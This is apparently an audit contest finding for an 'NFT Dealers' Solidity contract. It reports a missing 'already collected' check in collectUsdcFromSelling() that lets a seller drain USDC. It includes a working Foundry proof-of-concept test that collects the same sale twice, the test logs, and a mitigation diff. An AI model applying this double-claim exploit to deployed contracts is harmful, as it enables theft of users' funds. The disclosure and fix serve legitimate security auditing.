NFT Dealers

First Flight #58

Beginner FriendlyFoundry

100 EXP

View all submissions

Previous Next

Submission Details

Impact: high

Likelihood: high

Infinite USDC Drain via Reusable Collateral in collectUsdcFromSelling()

Author Revealed upon completion

Root + Impact

Description

After a sale, collectUsdcFromSelling() reads collateralForMinting[listing.tokenId] and adds it to the seller's payout but never sets it to
zero and never marks the proceeds as collected;

The function only checks !listing.isActive, which remains false forever, so the seller can call it an
unlimited number of times, extracting listing.price - fees + lockAmount USDC per call until the contract is drained.

Every subsequent owner who re-lists
and re-sells the same token also inherits the unclaimed collateral value, compounding the drain.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {

Listing memory listing = s_listings[_listingId];

require(!listing.isActive, "Listing must be inactive to collect USDC");

uint256 fees = _calculateFees(listing.price);

uint256 amountToSeller = listing.price - fees;

uint256 collateralToReturn = collateralForMinting[listing.tokenId];

// @> collateral is read but never cleared

totalFeesCollected += fees;

amountToSeller += collateralToReturn;

// @> no "already claimed" protection

// @> no state update before transfer (Check, Effects and Interactions violation)

usdc.safeTransfer(address(this), fees);

usdc.safeTransfer(msg.sender, amountToSeller);

}

Risk

Likelihood: High

Any seller can trigger the vulnerability after a completed sale
The function remains callable indefinitely due to static state (!listing.isActive)
No special permissions or timing constraints are required
Exploitation is trivial and repeatable in a single transaction sequence

Impact: High

Enables unbounded USDC extraction from the contract
Drains both:
- Seller proceeds pool
- Collateral pool
Breaks core accounting invariants of the protocol

Proof of Concept

Using MockUSDC

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.34;

import {Test, console} from "forge-std/Test.sol";

import {NFTDealers} from "../src/NFTDealers.sol";

import {MockUSDC} from "../src/MockUSDC.sol";

/**

* @title NFTDealers_UnlimitedDrain_PoC

* @notice Minimal PoC showing that `collectUsdcFromSelling()` can be called

* multiple times for the same sold NFT, allowing repeated withdrawals.

contract NFTDealers_UnlimitedDrain_PoC is Test {

NFTDealers internal nft;

MockUSDC internal usdc;

address internal owner = makeAddr("owner");

address internal seller = makeAddr("seller");

address internal buyer = makeAddr("buyer");

address internal innocent = makeAddr("innocent");

uint256 internal constant LOCK_AMOUNT = 20e6;

uint32 internal constant SALE_PRICE = 100e6;

uint256 internal constant INNOCENT_MINTS = 10;

function setUp() public {

usdc = new MockUSDC();

vm.prank(owner);

nft = new NFTDealers(

owner,

address(usdc),

"TestCollection",

"TC",

"ipfs://image",

LOCK_AMOUNT

);

vm.startPrank(owner);

nft.revealCollection();

nft.whitelistWallet(seller);

nft.whitelistWallet(buyer);

nft.whitelistWallet(innocent);

vm.stopPrank();

}

function _mintMany(address user, uint256 amount) internal {

vm.startPrank(user);

usdc.mint(user, amount * LOCK_AMOUNT);

usdc.approve(address(nft), amount * LOCK_AMOUNT);

for (uint256 i; i < amount; i++) {

nft.mintNft();

}

vm.stopPrank();

}

function test_UnlimitedDrain() public {

// 1. Innocent user provides contract liquidity

_mintMany(innocent, INNOCENT_MINTS); // 10 * 20 = 200 USDC

// 2. Seller mints one NFT

vm.startPrank(seller);

usdc.mint(seller, LOCK_AMOUNT);

usdc.approve(address(nft), LOCK_AMOUNT);

nft.mintNft();

vm.stopPrank();

uint256 tokenId = INNOCENT_MINTS + 1;

// 3. Seller lists NFT

vm.prank(seller);

nft.list(tokenId, SALE_PRICE);

// 4. Buyer purchases NFT

vm.startPrank(buyer);

usdc.mint(buyer, SALE_PRICE);

usdc.approve(address(nft), SALE_PRICE);

nft.buy(tokenId);

vm.stopPrank();

// 5. Snapshot before exploit

uint256 contractBalanceBefore = usdc.balanceOf(address(nft));

uint256 sellerBalanceBefore = usdc.balanceOf(seller);

uint256 fees = nft.calculateFees(SALE_PRICE);

uint256 expectedOnce = (uint256(SALE_PRICE) - fees) + LOCK_AMOUNT;

console.log("=== BEFORE EXPLOIT ===");

console.log("Contract balance :", contractBalanceBefore / 1e6, "USDC");

console.log("Seller balance :", sellerBalanceBefore / 1e6, "USDC");

console.log("Expected once :", expectedOnce / 1e6, "USDC");

// 6. Exploit: collect twice for the same sale

vm.prank(seller);

nft.collectUsdcFromSelling(tokenId);

vm.prank(seller);

nft.collectUsdcFromSelling(tokenId);

// 7. Snapshot after exploit

uint256 contractBalanceAfter = usdc.balanceOf(address(nft));

uint256 sellerBalanceAfter = usdc.balanceOf(seller);

uint256 gained = sellerBalanceAfter - sellerBalanceBefore;

console.log("=== AFTER EXPLOIT ===");

console.log("Contract balance :", contractBalanceAfter / 1e6, "USDC");

console.log("Seller balance :", sellerBalanceAfter / 1e6, "USDC");

console.log("Seller gained :", gained / 1e6, "USDC");

console.log("Expected twice :", (expectedOnce * 2) / 1e6, "USDC");

console.log(

"Collateral still set:",

nft.collateralForMinting(tokenId) / 1e6,

"USDC"

);

// 8. Validation

assertGt(

gained,

expectedOnce,

"Seller received more than a single payout"

);

// Use approximate equality in case fee math rounds by 1 unit

assertApproxEqAbs(

gained,

expectedOnce * 2,

"Seller did not receive the payout twice"

);

assertEq(

contractBalanceBefore - contractBalanceAfter,

gained,

"Seller gain should match contract loss"

);

assertEq(

nft.collateralForMinting(tokenId),

LOCK_AMOUNT,

"Collateral not cleared after collection"

);

}

Results before mitigation

forge test --match-test test_UnlimitedDrain -vvv

[⠊] Compiling...

No files changed, compilation skipped

Ran 1 test for test/NFTDealers_UnlimitedDrain_PoC.t.sol:NFTDealers_UnlimitedDrain_PoC

[PASS] test_UnlimitedDrain() (gas: 992301)

Logs:

=== BEFORE EXPLOIT ===

Contract balance : 320 USDC

Seller balance : 0 USDC

Expected once : 119 USDC

=== AFTER EXPLOIT ===

Contract balance : 82 USDC

Seller balance : 238 USDC

Seller gained : 238 USDC

Expected twice : 238 USDC

Collateral still set: 20 USDC

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.24ms (1.61ms CPU time)

Recommended Mitigation

This fix requires extending the Listing struct to include isSold and proceedsCollected so the contract can properly track sale completion and prevent multiple withdrawals.

Ensure isSold is set when the sale is finalized and proceedsCollected is set to true after funds are claimed. The function should enforce both conditions and follow the Checks-Effects-Interactions pattern by updating state (zeroing collateral and marking proceeds as collected) before performing transfers.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {

Listing memory listing = s_listings[_listingId];

require(!listing.isActive, "Listing must be inactive to collect USDC");

+ require(listing.isSold && !listing.proceedsCollected, "Not sold or already collected");

uint256 fees = _calculateFees(listing.price);

uint256 amountToSeller = listing.price - fees;

uint256 collateralToReturn = collateralForMinting[listing.tokenId];

+ // CEI: zero state before transfers

+ collateralForMinting[listing.tokenId] = 0;

+ s_listings[_listingId].proceedsCollected = true;

totalFeesCollected += fees;

amountToSeller += collateralToReturn;

- usdc.safeTransfer(address(this), fees); // @Fee USDC is already held by the contract

usdc.safeTransfer(msg.sender, amountToSeller);

}

Fee USDC is already held by the contract; totalFeesCollected tracking is sufficient — no self-transfer needed

Results after mitigation:

forge test --match-test test_UnlimitedDrain -vvv

[⠊] Compiling...

No files changed, compilation skipped

Ran 1 test for test/NFTDealers_UnlimitedDrain_PoC.t.sol:NFTDealers_UnlimitedDrain_PoC

[FAIL: Not sold or already collected] test_UnlimitedDrain() (gas: 1140040)

Logs:

=== BEFORE EXPLOIT ===

Contract balance : 320 USDC

Seller balance : 0 USDC

Expected once : 119 USDC

Traces:

[1140040] NFTDealers_UnlimitedDrain_PoC::test_UnlimitedDrain()

├─ [0] VM::startPrank(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF])

│ └─ ← [Return]

├─ [47291] MockUSDC::mint(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], 200000000 [2e8])

│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], value: 200000000 [2e8])

│ └─ ← [Stop]

├─ [25296] MockUSDC::approve(NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 200000000 [2e8])

│ ├─ emit Approval(owner: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], spender: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 200000000 [2e8])

│ └─ ← [Return] true

├─ [127230] NFTDealers::mintNft()

│ ├─ [26814] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])